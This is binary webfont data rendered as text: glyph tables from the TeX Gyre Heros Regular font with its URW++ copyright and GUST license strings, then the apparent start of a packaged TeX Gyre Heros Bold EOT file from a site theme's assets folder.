s��o��]s����c�E���[h�UK�*PX@[[C
D@[[CDY@
$!+3332+3264&+[]�hxrY��AIIA��xqc[u�DxDF��6�&r@
BK�*PX@#[SC
CSD@#[SCCSDY@&&$#*#+34632#"'532654&#52654&#"F�Z_�6->Nyg/%*"@Q\_;WW:9SRmgQ0Of@n�STCM;R=21<@1��*���$(3QK�.PX@/ B@/ BYK�PX@+h`CSCS
DK�PX@,hhCSCS
DK�*PX@6hhCSCS
CSDK�.PX@6hhCSCSCSD@4hhCSCSCSDYYYY@"##$!+	+747>7>=4&#"#632327#"&'#"&3#326=*\8W1&=8:<T�ad-		#0HjP\6q`<tg?^!eD:�b&
&(-0�IF��)?	'MP���EPE6N
)*���$/3[K�.PX@+ B@+ BYK�PX@,	h`CSCT
DK�PX@-	hhCSCT
DK�*PX@7	hhCSCT
CTDK�.PX@7	hhCSCTCTD@5	hhCSCTCSDYYYY@000303###$!+
+747>7>=4&#"#632327#"&'#"&7326=73*\8W1&=8:<T�ad-		#0HjP\Wg?^!eD:t`q��b&
&(-0�IF��)?	'MPIPE6N
)���*���$/6iK�.PX@5+ B@5+ BYK�PX@-
	h`CSCS
DK�PX@.
	hhCSCS
DK�*PX@8
	hhCSCS
CSDK�.PX@8
	hhCSCSCSD@6
	hhCSCSCSDYYYY@000606###$!++747>7>=4&#"#632327#"&'#"&7326=73#'*\8W1&=8:<T�ad-		#0HjP\Wg?^!eD:`_`?QO�b&
&(-0�IF��)?	'MPIPE6N
)���``*���$7B�K�.PX@> B@> BYK�PX@3`
		\

SCSCS
DK�PX@4h
		\

SCSCS
DK�PX@2h
	
[
		\SCS
DK�*PX@<h
	
[
		\SCS
CSDK�.PX@<h
	
[
		\SCSCSD@:h
	
[
		\SCSCSDYYYYY@%%;9%7%76420"$##$!++747>7>=4&#"#632327#"&'#"&>323273#"'&#"326=*\8W1&=8:<T�ad-		#0HjP\G-!/):J@#
*g?^!eD:�b&
&(-0�IF��)?	'MP16%h
%�.PE6N
)*���$/37�K�.PX@+ B@+ BYK�PX@,`
Q	CSCS
DK�PX@-h
Q	CSCS
DK�PX@+h	
YSCS
DK�*PX@5h	
YSCS
CSDK�.PX@5h	
YSCSCSD@3h	
YSCSCSDYYYYY@44004747650303###$!+
+747>7>=4&#"#632327#"&'#"&7326=53353*\8W1&=8:<T�ad-		#0HjP\Wg?^!eD:[G[�b&
&(-0�IF��)?	'MPIPE6N
)�ffff*���$/:EjK�.PX@+ B@+ BYK�PX@0`		[

SCSCS
DK�PX@1h		[

SCSCS
DK�*PX@;h		[

SCSCS
CSDK�.PX@9h
	
[		[SCSCSD@7h
	
[		[SCSCSDYYYY@DC?=$###$!++747>7>=4&#"#632327#"&'#"&7326=462#"&732654&"*\8W1&=8:<T�ad-		#0HjP\Wg?^!eD:19P89'(90(�b&
&(-0�IF��)?	'MPIPE6N
)�&99('89("��M+7>�@3
&BK�PX@0
`h

YSC	SD@1

hh

YSC	SDY@=;980.%""#!(+7467>=4#"#632>32!3273#"&/#"&7326=%!4&#""m�3$vp
Tɀ/\6Ip�~VCd&TwX:^8e;M[W5/7i!eE9T&P@?R�RH
N]�R&,J@7pRZaP^,':4QH')I"]
({GYW��1�@/.-"!BK�*PX@4hfh[SCTD@1hfh[XSDY@$$$$$""	+4632#.#"3267332#"'732654&#"'7.jZnT@4ELNE6@
TaR$+B9/N	:"bq��a^7;kb]f8>Sg(1"+2"(N�(�����BK�*PX@2hhZCSCSD@2hhZCSCSDY@#"""	+6632!3273#"3#!74&#"(�nJq�~UDi TwYoBq`<y&T=?R��J@7lWYaP^��>XV(�����BK�*PX@3	hhZCSCSD@3	hhZCSCSDY@#"""
+6632!3273#"!74&#"?3(�nJq�~UDi TwYo&&T=?Rt`q���J@7lWYaP^A>XV͔�(���"�@
!BK�*PX@4
	hhYCSCSD@4
	hhYCSCSDY@""#"""+6632!3273#"!74&#"?3#'(�nJq�~UDi TwYo&&T=?R`_`?QO��J@7lWYaP^A>XV̖�``(���#��BK�PX@3hY
Q	CSCSD@1h	
YYSCSDY@   # #"!#"""
+6632!3273#"!74&#"753353(�nJq�~UDi TwYo&&T=?R[G[��J@7lWYaP^A>XV�ffff����KK�*PX@hCC
D@hCCDY@+3#3q`<Sٔ����b4�SK�*PX@hCC
D@hCCDY@+3373bSR`q���E�����
]�BK�*PX@hCC
D@hCCDY@

	+73#'3`_`?QO&SD��``����

�zK�PX@QCC
DK�*PX@YC
D@YCDYY@
		+53353
[S[\ff����\ff$����$4@1B

	
@SCSD$""+4632&''7&'77"&632654&#"$vd'';a$U4,%Ja(Zuf{�{WPFEQOGF��
(1-'(,/-%)Y�o����ji\ajF��&��BK�PX@,
\		SCCSC
DK�*PX@*		[
\CSC
D@*		[
\CSCDYY@&&%#!##
+33>32#4&#">323273#"'&#"FM#Q:LZS:2@O%-!/):J@#
X70NA�tk/8aP��\16%h
%$����YK�*PX@"hCSCSD@"hCSCSDY�$#$"+4632#"&3#32654&#"$}or|~op}?q`<}PFEQOGFP�������W���_ii\ajj$����aK�*PX@#hCSCTD@#hCSCTDY@
$$$"+4632#"&732654&#"?3$}or|~op}WPFEQOGFP}`q���������_ii\ajjᔔ$����k�BK�*PX@$hCSCSD@$hCSCSDY@$$$"+4632#"&732654&#"?3#'$}or|~op}WPFEQOGFP`_`?QO��������_ii\ajj�``$����*sK�PX@*
\SC		SCSD@([
\		SCSDY@)'#!"!"$$"+4632#"&>323273#"'&#"32654&#"$}or|~op}P-!/):J@#
3PFEQOGFP��������16%h
%��_ii\ajj$����gK�PX@#	QCSCSD@!	YSCSDY@$$$"
+4632#"&732654&#"753353$}or|~op}WPFEQOGFP[G[��������_ii\ajj�ffffD�
\K�PX@[YS
D@![YOSGY@+75!462"&462"&D���,,,,�DD��$���#5@2#BSCSD#*("+46327#"''7&7&#"32654'$}ob;*%.0~o`<*%.0W�%@FP1'>EQ��617Iu��617IqD/*j�*i\F0A����d�BK�*PX@#hCC
CTD@#hCCCTDY@	##+7332653#5#"&3#AS:2ANSK%P:L["q`<����/8aP!��Q4,N��A����k�BK�*PX@$hCC
CSD@$hCCCSDY@##+7332653#5#"&73AS:2ANSK%P:L[�`q�����/8aP!��Q4,N��A����s@
BK�*PX@%hCC
CTD@%hCCCTDY@##	+7332653#5#"&73#'AS:2ANSK%P:L[E`_`?QO����/8aP!��Q4,N��``A������BK�PX@$
	QCC
CSDK�*PX@"
	YC
CSD@"
	YCCSDYY@##+7332653#5#"&53353AS:2ANSK%P:L[V[G[����/8aP!��Q4,Nffff�&��g@
	BK�*PX@hCCTD@hCCTDY@
#"+33#"'5326?73Y��Z�(_ `q��h���l
KSG��6�&
�j@B
AK�!PX@ CSCSCD@ SCSCQDY@$"+3632#"'32654&#"6S8ifz{ea@PBDTSEBP���P��x�N���WllT^po�&��m@
	BK�PX@	QCCTD@	YCTDY@#"
+33#"'5326?53353Y��Z�(_ J[G[�h���l
KS^ffff+����!�K�PX@B@	BYK�PX@)Y	SCQ
CSDK�*PX@1Y		SCQCQ
CSD@1Y		SCQCQCSDYY@
 $""
+46325!!!!!!5#"&7327&#"+��y>���H��U�NCu��]he};;|fhd��XLR�R�RO^��x`x�(���'.E@B	Bh		Y
SCSD-+)("""#"+4632>32!3273#"'#"&72654&"!4&#"(|q�=e=Jq�~VCd%TvY�>?�q|WQ�QP�P�&P@?R��j28J@7pRZaP^gg��ZkjXamm3GYW
��[�BK�*PX@YC
D@YCDY@

		

			+33#53353
s��o��]O[G[��c�E��ffffD6�9�BK�*PX@
kD@
kDY@
+73#'`_`?QOD��``[?�KK�PX@XSD@O[THY@
"!""+>323273#"'&#"-!/):J@#
\16%h
%.�8753.��HH.�8753.��HH.�8753.��HH�+8@MQE+=!+�HH��8@MQE+=!��HHA���
"@@MQE

+54673A0-0�e;D&++h@���	-�?K�*PX@QD@QDY�+5>5#53@0]�&*,he{@���h	-�	?K�*PX@Q
D@QDY�+6=#53@10]^ZI
he{0�+�
0@-@MQE

+5467335467300-0A0-0�e;D&++he;D&++h1�.�	;�
?K�PX@
QD@MQEY�+5>5#535>5#5310]C0]�&*,he{&*,he{/��,h	E�?K�*PX@Q
D@QDY@



		+3535>53535>5/]]p]]he{&*,he{&*,2�,�	@OSG$+462#"2IhIJ34%hIJ52IsuhKK�*PX@Q
D@QDY@
		+353353353sh�h�hhhhhhh[j���(+757[�jj�YzSSSSUj���(+757'5Ull�jSSSSyY���(�@
#	$
	BK�PX@*Y	YSC		
S


D@([Y	Y		
S


DY@(('%!$"
+?3547#73>32.#"!!3#3267#"7O?�kb^ 6I(@Q����$�$E=MY�/�;;z�CP(_d;;�$]/
DK��n�BK�*PX@	QC
QD@	QC
QDY@

	+5!##33##Dj�AW��W>yBy�33��[�����M�r6��6��

/K�*PX@C
D@CDY@	+1!

������BK�PX@+SCQCQ	C

DK�*PX@)YSCQ	C

D@)YSCQ	C
DYY@2#+5354632&#"3##7533FA:
:WWS�h^S�DY8?E5RD�8ȓhh������k�BK�*PX@ SC	QC

D@ SC	QC
DY@2#+5354632&#"3##3FA:
:WWSS�DY8?E5RD�8�8�'��%)-жBK�PX@0SC

QC	QC

DK�*PX@.

YSC	QC

D@.

YSC	QC
DYY@%**&&*-*-,+&)&)('%%$#"!2#2#+5354632&#"354632&#"3####%533FA:
:�A:
:WWS�S�h^S�DY8?E5RY8?E5RD�8�8ȓhh������%)}�BK�*PX@%SC	QC

D@%SC	QC
DY@&&&)&)('%%$#"!2#2#+5354632&#"354632&#"3####3FA:
:�A:
:WWS�SS�DY8?E5RY8?E5RD�8�8�8�'^F��_<������������|��������l!��ac4,, y�4�0MIM&�(HDWM.W��,+,f,", ,,#,+,.,%,&WWHrHDHr,F�"��O�0�Y�ZcZ
,�Sd��O,PAK�L
&�[
&�]�0c�U����
c@���,,��M��,*,6�,,(,,F�<���:�DAG,F,$,7,MF�",A�
����N+`NHKa,4,,,`,+M(�r%,bHDM.�M�6HDMM"M�,A0WM'MFm(,bBQBQB@,6��������0�Z�Z�Z�Z��d����L
&
&
&
&
&Hn
&�U�U�U�U�
�[cF,*,*,*,*,*,*y"�,(,(,(,(��b��
,$,F,$,$,$,$,$HD,$,A,A,A,A�,6��+�(�
MM����@���x�5M.M.M.,��A�@�@M0M1M/^2�s�M[MU�,�D
���****f�$�R�6d���4d��P�^��b�H^��		�
 
|
�T��0T���
6
l
�
�N�D|��N���Nf�R��F��6~�Jn�J��f��(b��
\��N�j�.d�$�����^z� 
 r!!<!�!�!�"F"�"�#
#�$�%�&0&�&�'6'�(
(|(�)�)�*@*�++:+t+�+�,V,�--p-�.H.�.�/*/t/�00r0�11t2h3b4f5�6�7�8v99~9�:z:�;4;r;�<<d<�=T=�>>�>�?L?�?�@X@�A8A�A�BRB�C^C�C�D D D D D D D D D D D D D,D8DDD^DxD�D�D�E.ElE�E�F
F
FF2F2F�GG6G�HH�I@�F<In�
�	:	A	Y	>g	(�	t�	(A	�i		�'	�0=	mRegularCopyright (URW)++, copyright 1999 by (URW)++ Design & Development; Cyrillic glyphs added by Valek Filippov, copyright 2001-2002; Vietnamese characters were added by Han The Thanh; copyright 2006, 2008 for TeX Gyre extensions by B. Jackowski and J.M. Nowacki (on behalf of TeX users groups). This work is released under the GUST Font License --  see http://tug.org/fonts/licenses/GUST-FONT-LICENSE.txt for details.TeXGyreHerosRegular1.103;URW ;TeXGyreHeros-RegularTeXGyreHeros RegularVersion 1.103;PS 1.103;hotconv 1.0.49;makeotf.lib2.0.14853TeXGyreHeros-RegularPlease refer to the Copyright section for the font trademark attribution notices.TeX Gyre HerosWebfont 1.0Fri Jun  7 17:01:46 2013Regular��2�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������	����������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~����������

�������������glyph1uni000Duni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouniE000uniFB01uniFB02uniFB03uniFB04K��RX��Y�c �#D�#p�E  K�QK�SZX�4�(Y`f �UX�%a�Ec#b�#D�*�*�*Y�(	ERD�*�D�$�QX�@�X�D�&�QX��X�DYYYY������DQ�J:PK!'�� _T_T8bluetheme/assets/fonts/Tex/texgyreheros-bold-webfont.eotnu&1i�_T1S�LP� � Γ�zTeXGyreHerosBoldtVersion 1.103;PS 1.103;hotconv 1.0.49;makeotf.lib2.0.14853"TeXGyreHeros BoldBSGP� 7�As2���xZW�h[qJx"c�r,g,E�&�C�������@��ب�Y���ʓ�
M������qq��p��Pϕ/F�Pȴ���,�����h3:�Ӓ*N/��*�q���<�h���(���.�nݪ-��@��k_�@���� (�{[�:�T}EmW����U�R�B��ND�e���hD$?H~���P��,�)G�h/G��d&��5��
�7�W{��"���
���;T�XMo�A)���L��	jW�%���,!�|��y&�0�����X��c�;�nE�i�E�aD>cч�ʢO, N�!�D�q�O�|^?�k����N3�ť9��俍Q��i���PA�hPX[H�8��3xN�@���	ٳ/�YJ>c�`P����1(��9��d*W�"�3D�9$z�W��.v잶IS�9�1V�:;�.n�Q͚�+�\��28�`�q�l4?��٥�]e��~���	��ȵ�ʌ����0]N�Tf�z_s2���U�yt�c�Z����xS
\�[�Q�XY�zʰ�M��*��7(Ո�(r���Sq�1��%9��@�	�zB��h]U$8e�X{��O[T_�ý��1]�U�v�B�F:m%�>�R���;��|�Y���!�-
�O�0&)c��;���	�Q�rCI�e�I)<՝����҂� ��џ�'rG�2�B+2av��0��*����j+�����!d����߆��GAO�b˄	�N�)�0�{�5���{�\v�^�Lw"�uX�f��X��X��f�mf5��b�w͈׈�p%�@������/[�ɯưW@/s�1E���m��:[���m��Mi��(O��3x���_%m@,�ܨ�g�+�S1xA��"�OHzS��)b`@=;kCS;GWo�FV��T�D�(�IC�	�">p� �B�t��:o����ǟ$r!򹼳��$��r��7p���9S��ȋ*�
��}8i0�a@�#�(�z�
Tj�W��[#rϋA�wg��;C��fq�?|�ݜ{�
G��A$�ZP���[/"EQ=���H#:�"�x,]����0)�N�#��ڃ�D!�M@�@XcV~�5����R�F� ���)R��9m��U�A�L]�CC�~�e�f9�W�u��h"�%�Y~Z�K'R��L�K��m6*��z;�%����V��p9J�l��6_�Q�9!����$1\�C��V��E���GjK��eq+�]����R��=��'n�hFL���Vx�̛�Ԙ��C�ǰlʇBJuˎG�.8��_C7F�]4<�#U���ðD>!F=�@�@\���q�����	VnD�
�XxQ$�Jd�J�]��)̗ɻ�i�7���tq|+y�������lԇ���B�-z�y$xIR$�"6�?��B�9��9��*l������?�FCДF��A�#�2ʓ���&��˃��l��f�t���&Ld��-�G�.�(u�*PPS��fj�y��?��/���i��pw�;�.�;���	�]'E��0�]9L�3���(|J,�4�`)
ܤ�Nǥ��d�e���v�*�?�1�����c�+u��w�,@��O�򱍦�:ՙ U���/��]	��]�^�`莋�|��4c�Y	���"U���QN걍�Xƈ�]Mt���|��M��#"�j�����D$�X�����|çq��>0V���	5�G�O
���P�D��m�vf��=B ������T)�A�U<��$�4�S�Ţ뛹��T��nn��m6�a��>�t��VQ~���B���^֢0tHMzP�y��c��	���U�Яp
R���/��-X�f١Y�0�M����1Ƃ0�`�%�ߍA��π�Dj-�w��S@71�m�kd�%6�w�����5��Y6t ���%_r7�O�Yuue]��bL�ǭ��k2VzV�����}r|�!�j��&���VX��
Ԭ��bĨ�bzNa�U*�"��UE�I�q#Q�Z�>Êd���(�
d��.�Ec���C,a��*�G4�H"�"�����=u�v�8�T��0ZS�F��|����j��Q)���=��xD�tB+�	05�
��U�Z����>~r�q�"$���X���4Ůz��"Q�T)`Pj�ѱ�8�o�ȻF�,ɕ�5��P��1��;������ՐMQ�3"a1�V�2�z��/rGP��II�$�iH����$#�f���R�4�`p M��˴!e�s�M���剡����،d+����G}�]��$qҡ��ɐi��`OHB��H�t8�P#��2�TR�#���N�G��J6�k�Qpx�y�ﴞ84�E�9Q��%Q���R�S�Xb�nQ��_���N�9~�
�q�F��G�B��v��8a��لA52��d5��I]Ac����;GX��]|���YБ���v̔f�Z6����~�D�P)_,���ϧ��u;
E����"Iʖ:���"�t��f#���Ƙ�>�mG)�M9&?�1="j{�"�����!�����S�>b����BKM|
D�6hˀl~_n�� 	���T+��w�s�򠰕��8^�����/[�2L��dd_�uI��7��P�^2�0A�G����:">��\_:
��;�,E+*`>0;���[��-�ˁ���D�3�b#�" D�xg��J�"U��WMy���eđӂ�76�R��+7�w4 �;���0���V���rH]�y X%�E4��g����,�9oP·UcbĜY�y�Q��3ف�B/�Q�yWl�X��vL���g��V�k2R^۴�H�3���k���UuL�^,�����|���6a�^r���K����^vX�Y��N��wctO�~=�Q�4t@Mѵ;���#Fi$F�$B�u�F51��i��7�ab�[?2�@p,��M��$)�U�ջ�y�z��~�@CΠ�ȀR��B�m���S|�߀����4�"��\��[�|6��
�MCm���x�4Yʠ��Ț�b��1�+��o@�x��p"���GM�&�a�GR
FC���X-P�0?4Xx��X`���f�Șފv�H�x�)�n'郡t0��0d��0��1P4C$������H���P?�A�;F�Ļ�;di��AJ:�#��8<G�h�k��,��nc���(#�#��w�G�P�#��L
���T�J��,P!HPSt�^J��i�<;�A>ذh�ĈK��b�%�)-�8(~,�R�X�����e\=�H6-��R%�bj�/3�8�g	X���*���̴ى��S�e�
�
pD")RdaBv{��2�x�4f�Vd72\�1�7��� ��r���Q�e��D��"q�O1�$c��&er�O�Ȭ`��B��@&���ɀ���(�@�,��a�j �B)Q��^idԐ$v��I�CMM�!� hp=ᰀ�t�`yQ��+�do.�pѭ�e5�a��	�@�#��"!����2�����6�1!JT �jz(j���&\6&��ֿ\Y͠⥂�B���J�F�EHk��l��� c�$:ϝ+E"���#`��dAc��������X�р@d-R���Yv�je�dz���PZ���sBsj�M�!�!��k!ػZ�1�]08<�?�>!�/�?�dX�+�Y!�dE;'P .4�Ћ@�>P�bz��7Z���y2L�Np���<��j@"�60���&�%\��-I�&J��Z��,�9��}�_[���:ox�	�=A<z4�V��8�D�s�ր�m��#c�zF�	##��a�s�m@�1��+E��h2�ddI'@P�$�f���q峿GyFA'yE��yy��������,p4^X��y`尛)Y�Hc�3
�:��Ȑ�"
GA1����T���^d=\�����!K����&!���\�d��<��N� �j�5T'�N\"d�ܱ*c�w �*��s'e��sb1Da;�4�����>ܥ$o�l�w��q�W����SS$tT�Pw'��`5�jC�w��,03B��27gf`�mz\���/�)���g�1i��/�ɜ|T'��U�~|�eĪa,w�XjǍ el
m�D�	�0Y��x�8N������X#.�&*�#\��G2�<5��G	<mC/c��]�B0���:��	nL$�D~0)�z��L�O��фa�����%��T/V�,b����¾#LucĖ�NÄ5����EY�5�9z�Y�F6��6�ק0\I͆�+Z[W�9\_�q���Ҹā�Pc��i�%��"|�{��Z����VN�W)P(�'N0 �h��~��虓���.R���é:�ؒ�ҧ�]�[���}hL�5ظ�J�f͛�Q��q���Y~�H~EI����޼���+>�r�a�,?2���#]�����'��Fe6/l]�u�vS,���D���O:d"^��uI^bL���=O58�j�z0�i�&x��"��Jud<�Aȓp��	�%
z%2�0��Vh%�L-rҹa>���s�$����I�(O�jq�>� V D���
e��s�k�EF�y!r�Q�qu�T�DW�ˑ6�G:��c��?�e+�t�3}�p��tp�%-�=�������bAԙ��>n9GAj�e���][�6���
����J����3�+��<��x�C��#G��^?��}�y���Uz�[؀AM) P>�K�L�����#�Q��Ы�!�3;�	r��*���[bp+
�\�}��4)Y����ѡ�D��@fH��֩V2��R-жf��&9
�Fđ��a�c1a�*����}�I)4ld$�5�h���?2x��Q^��߄ي���MK�ʅ�Vy|�D4�j���PEC�|̦Ѷ�~"��k�=��3�$���sq��<�ֽ�yt
� �h+Q��{����V���͇ۖq5DB3A����u��qQ	R�����TJB���띬�T�F�����nK|�?�$ɠ�Uqf�DR��f�H0hJ�5#�_W��F��$���h^wQm�%��v�d�Rb������EAI���(�Z��a�*i�\跢>��4�u��0���yɀ�b%
������㰵��%]�l�֯>�A��:�����V�]�B�\t�p W��f�ۍ�۴����$����U$�h����ܑ�Y"�]��dζ�3�X�vPپ�s�����,���g�`"5��a����x��	*�� ���B0K�	�ud1��nj��#9ød!��i�?�w��VFW����h��[W"_2��>pq3$�ɞ�O�尳�Hn�7]����OuE�k��P3�����~OЍ�#qad~aL�$�X�I��Ç�Ń
����W�*)�
���y��q%U�+��+�<aYp{��g��u$l����'k��-��"Y,���ye��ˆ�1�/B�+s351��-K/�/�"�</Op�E-���w��.땳5��kfeT!���
��2�f7�d�A|��<BY1��C�7xn0��āL~��b�G�0So�q�EY?�Ʈ�mi�z�H�%-���"��k��
0�&mK�S�0%'1�W�ҁ���p�3�g�LU�����.�jy|��2pi��sݡ#8�~Y�VpA�$@�g�$��K��yi�,���y�B��� ��$6�Ih#O˜M����{+
)����nXꔷ�j�ҠX���}�H>��ё4.٠�r=^����?�33����
�r�E����H�I����������C%�8m����rA� �]m	6XR�F�̐��0s^h�z��G�eW�M�A�hҎȅu����E�&��9��;
����Bq�:i��
j'�B$$� �%�U���z ��[��X]q��^K�*Kacv™6�bot{��Ӄ���vR��]_Tž��L�Vި~;\Ѡ��d�Rd������&H�Ց�i��h`��%�b�ٸ����M:%��l:ԉ�\�ؾ	t�g�@!��xD����lX4h��������� 9���(
��UoL�ZNp��{��M_<g�E+�,�ԒѠ%x�t��J54u!*B��2��D��.D =�;�^�Z�ky}��+Z�9��"	�h.@��o�u�s|��A=�V(��kD=8�
�s+��iYP%�U��K��|�J���Lk_I�=/x��T��ߧ�;���i��C)����ݲ=#|BY�0a=�$�`��5C�l �ˬl�Ѥ�$��-��Jb�=���S,��t�ĺ��3�"6TL�$|l�Ԓ�E� %g��_y����b�ұ
bZ[4� ���^W V�0$���3�ٵc�Lg6u�[�&���
Z��@��I�Ou���y1[P^Z*�v3��mD�r�m4[!.��Z�P�0�Ni��C�NC%r<"t������&C{��pEZ�Y��Tq��KTB:+DZ8&_�ȇv
J�!BH��b��$���u�ٮ�A]aD
�OZ�z�!����0�y�������0�Q�P0[�FM�fz]r�I�iNN*$��=��Xܵ�)�:Kd�8b��,I�ʎN�| ��yS#���q�mL.h(���iÖ
�ҕ����	w�h_L*؏�/9AK"�X[x
Gr�M��x�M
-[�E�bi'ߵ9]K!c4�)�UB��T05̥��C���^
�0
�]D�ӣ��a�v�&��A�d�����T�$7��L�e�&>{6)�.���?����w�G������P�2��:���7"���������eQ�/����C-�����
5{�Vlu�U����1T'�L�\����"��n[�0E5�F����ꈉ�&H���צ����]��\e5J��-~���L����[v��6��_�^�/�Z�+Q�h�"�a�!���ԉ��xs��a«)Ķ�RS�[XR�&ɕ�b=� ����f�1�	��
�z��+����
[�XU��p�g�gyO�� �LlN�b�pt����{��C����|�Q)p��az0g T�Ovl*8N�
�_�-�qX��z�;
�[��DN�K�E��o�Yj=mr��0eK:Ub���>�+rI!���0c�1�8q�V��=tMȐA	�-C��Bll"^��2g���v��3<K��@�?"S,��

�3xz��TL����P�e��4l|е�Z.����aq�
h�-�7��՟6*��DX�5��BP�1���O�0��<�FÑ��W��u�}MUc��vk!�>G�$�$@�K�!������=7��o���}K�~JW#�8�����8<�9�<��)��>l��H֜q�sW4�ޛ�T��M~O[�N9��Dq)�"��B�&��P�(�sI!V��s���&����ҠdwCi��/=��?�ai��T�H��P�	��B��Q�q���[T���a2)�ׂ��U`L��iU#���q��*��H��V!Bhd�"���N	 zʺQs<�����f���D,w������(�>���.�j5wU�3�!�ZX���;�B���jt�$�U�t~֙A�9q<!E�Ŷw�?*@�E۝搂hs�&Nq�|-jӭ0U�񅀗�*�o�L��!	��9m�JuՇ���<�=f+�����Ql�ޕA��=x��?��N��i��Ð
�O*w1���a��,���wy����� g�_ ���R9�z��V���&����E�j�&�Y�5D��3.�%�:�R�G8b
3l����]�N�B(�}�"TR�%UG��N;�*�>[�e	3�Gy�4��!�EX�+OM'�'����0���0���'
M���߾����g�����}�⟚�$t\��X�Nf�T���J�7{'
�7	R�����3��[�!�]2�&=S��֌Y
e�M8[����䉼���D�'fdh>�J��]�<m2��.���n��a����4��A�0oo�3��a���s3(~�<��^E*�~���,)S�m���2Y2�-�� :(Lvʸ��/و����i
�9�~��G������	0�+e�����o	L#;�(���*��R߾�������+�J�*��ʨ*_3^��+st$���8+b���2�E�*�����b_t�"UU}��F��ꔽҠ����$Psl1ޟ�M�)Uvɲymھ��gvr�Ki|�q~��0��.$�f�z��z��	�r��N�S�U��!�&X����yȷ\M!)�`UJV�f�G���.�d��'�7@(��b�995��T~l��D�z��P�d��H�������r� :�7?4!��7m��"e�z����vӡ4�+�e��Џ�[F�������IJ�ɾ����4'�I�~<��
̉����Xv����4<Aڽ����O��W�����2.���
��f?��!�[�`"_�D�μd�A:|Q$K�!2�%u��qu8�J�Q���d�b J��5��K��Ήt�`��Ġ����)^�����4��J�X�vl�����v�a�pEZs��`!Lfn�OK�RS�W��R�٣���{U'_��ѼwS�t0U�T���L�<�j�\V�ń=ɵ��M80�N"�x�����;i�Z��^��2\^�@N���Y�Q��n�TT3�7J�w+ͫv�n�8Foj�	�A���jL����4�d��Ǹt26�PX~b0�a�������V�-m�O�����]��Dz��|��C�Bs����B��dž�=�.KQ����\�祵s�@c[3�ł�6Ҝ	Z�l�It�:���l�xɬ�P �!:#���#��Ө{�,�_��3�L�Y0f��$��
 Nӱ�}��!�P�����l��4�O�lZ��4���
8�W"���iW�p�uM ��VϦ�iwOfGdJ@��,�	��=<�&�J
�y��x�"dd8���}�PT0��|I[*�z�B��p��F́�f�,5�Ř$� �wr�q�9�(�ցXZmT%bs�SAB�R�e��i؞F�A�!���=�F�-T/P�%WB���f!S�9�P��A�)̨�>|iD�t�^Qj��C�$���H�j��X�_�:ED��lM�	����!��ݑs}'iV��P�S����A*�W�b�a B�8�V@C��kʗ�F��U��
�4AɅزQ�!�3l<��9���XA`7`�HB,�[ׄ�0�.l`g3�xZ[��ע��0^�(.�5�
g����Sl�i��\�>FY��K��ׂ��)a�<�F{]��z�O还[w	�6~g�ƙ��!���|��#�;T��Yg��s�J�a?�fw#B�1TB���!�/�`��[h��i����!p�6��:2�F��w1S���^�!�`m�`������	ܭ�g  §��
�(��j��҄&��F/�Ϳ�b���#}O@W��L�tl�;�e�a�j#k	��;G����|�k��\�B������L����Is?�lN�Eb�J���K�z��XM���P��Vp�%�)���f�k�GAM��z�E�*��c�0��
p�j�
#��ݰ�(�ѹ,ʥ0̜�鳕?W�<a���_��)P���Vg�مUÅNE
�dV����`iB7��c��!Oe�Q|X�)U8+�J���^��eU��\���1e�'S1W}���坠���]�^x�
�\�Z�8�K]�|B€D�F1�������;��g���o!�dԿᄂ���:v$
�r��԰��l�5�G��T��N:
դ��SdD;�]��y��q��q��i����5��+=����Z�$0��zm��A���J;�4��,�	�w�ݥ�+;O�H�y���&J�&�iŁ�;��o3� :gSR�\NMWb �G���ܳIt�k��,
�3��q�[�+�E�B�Lh��`��î���w<kfE��(����N�+`�A��_�#P�2 ���V��I�[4ɨ��U�L���kS$�_���p��<يX��jW������UU�첳`EY��l[8��`ac�8�ox<X�[�R^���b>h:��e�
Y�W�>�(�f�c%��k�����%����w��hO���&�Ƨ.�0��OCա�urf���c��b�l`YbFL��b
?��MuUy�~>�y�m6r��3��	�_� �EJ���J���j�`�p�T2�v�CL'�S#g�9ԜE�{�QV��e]��o%A�!�{f��TM���n�`�_5����MQ 4L�,˵'wmOa���z�l:��`�T��Q��/=ψ�J�y|am#{uh�Ip�m��?��7��CO�'}��Ss,�!e���%�#���p+٭��Ea�GĀW����
�}��������ȓ+j	�I��Y<*���&p!�h^���I��{�����
dٜ�3�R�k�Db��m�.��c��ە5��9Q%��v��V١ɚ��٦Y�Q�ƈ�(��ʮߠ5g�jV-�7��A�S��߼�Yr���h�� +]3w��X�%�ˀ]%�;a$+o��>����*�g��J���W1�nCI	�J*��tseFu��/�E�����q2�P��T��2���FY�?�D���ĕB�E�޵����x�>��d�*.5�dM�BA�00�N��-C��w��f���N�h�&�m����O�N1�|4I�E� ��_�b�J���BC�h��	���`%�~0��i{B�&G��L�W�b��M=Q�:d��zS�Q������쮾ѕƗ�ۚ�҇�5��㴾�Ml��D��F�Z�E[�'��9 ��i'@�y�^DhH�-��Do��%�C=kH��Ұ�PᶢDW��N�Y��$��sw`�
��.��H9w�q�j�,"�'B�����"�KG0Q�a"~~��R��� `wD��
4h�/~N� S_�K�q#�1�(Ӏ�,Dה�@�޻AȾ)�;LBkU{bTv��z����:7o��Xx�͢/sÀ���još��@�mȍV�R-\:�&�������O��R�yn~i�P�dT�QQ��_pᄰ8�r�0�?��[��YI	��*��;U�AJ	\G5G�z_y�
yXWz�.���ن�ݧ��{?��%�pb	�]���M��I��DW#��LG�\KƂZZ�~��<����≠�PHx�(J=�T�|$����@�^�}��F�oc#��~�?p'�����u�,d^7��` l�5����' ��UIՐ1}Ĥ�x�]Z���6o"�������z�O�nh
$�q��M�%y�%��ׯ4iNG�O�\SY����#ĉ���ĉ:��&miC�R����<����s��(����z\	�aIH���(�2r?���0�2�D���A�����22`�{ƨ�g��K�#i0x�aP�”��PQU�-~��� �sLm���
�1-�D���C�
�n
�d����Y�
��q��Cqxv�WM\Q������Z�%�<b��-��z���?����K	$,uZya݋���'s���2#�1z�J�8L'�Τ>���Jm-g�t���?�9�H�EO��b��~((���w��!���MQwβ� �fp�o���9嶯Vs��
�nX	S��	���.�Ӧf%�kr���U�0m/B,��t��|�B)v�\�*6n��f-OW�����ʝ�hQ1�)j'ȸ���q��^=j�P�cT&����h��������*��rGd@��L��9���X���
